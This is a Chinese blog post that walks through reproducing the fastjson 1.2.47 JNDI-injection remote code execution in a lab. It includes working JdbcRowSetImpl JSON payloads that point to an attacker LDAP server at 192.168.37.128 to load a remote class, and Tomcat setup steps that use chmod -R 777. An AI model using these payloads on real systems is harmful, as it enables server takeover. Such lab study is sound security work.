标签:loading 目录 效果 实战 pat export net chmod --
{"@type":"c
一种是基于rmi,一种是基于ldap。 RMI是一种行为,指的是Java远程方法调用。 JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 ldap指轻量级目录访问协议。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
本地测试确定过,jdk版本为8u251时即使fastjson版本符合要求也是利用不了的,jdk版本为8u171、fastjson1.2.47时是可以用ldap复现成功的
docker容器里的jdk版本,jdk8u102 ----------该jdk版本用rmi或ldap服务都可以加载远程class文件
步骤:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.37.128:9999/exploit",
"autoCommit":true
}
}
ldap: ------------------其实这个payload是<=1.2.47通杀的,无rmi和ldap的区别,是使用rmi还是ldap是由 jdk版本决定的
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.37.128:9999/expdsaloit",
"autoCommit":true
}
}
主要是靶机的搭建
debian9.5、tomcat9、fastjson1.2.47、jdk(用debian9自带的8u171或卸载自带的后自己手动装jdk8u251,区别就是能否复现成功,原因上面有讲到)
https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/apache-tomcat-9.0.36.tar.gz
tar zxvf apche-tomcat....
mv apache-tomcat.. /opt/tomcat9
chmod -R 777 tomcat9
vim /etc/profile配置环境变量(如果使用debian自带的jdk就不用了配置jdk的环境变量了,配置tomcat的即可)
export JAVA_HOME=...(根据自己的实际情况写)
export JRE_HOME=...
export CLASS_PATH=...
export PATH=...
export CATALINA_HOME=/opt/tomcat9
source etc/profile
unset CATALINA_HOME
cd /opt/tomcat9/bin
./catalina.sh start
然后访问http://IP:8080/fastjson/查看效果
附:测试java文件
参考链接:
https://www.t00ls.net/viewthread.php?tid=56927&highlight=fastjson
https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ
https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE
https://www.t00ls.net/viewthread.php?tid=55109&highlight=fastjson
标签:loading 目录 效果 实战 pat export net chmod --
原文地址:https://www.cnblogs.com/bingogo/p/13276077.html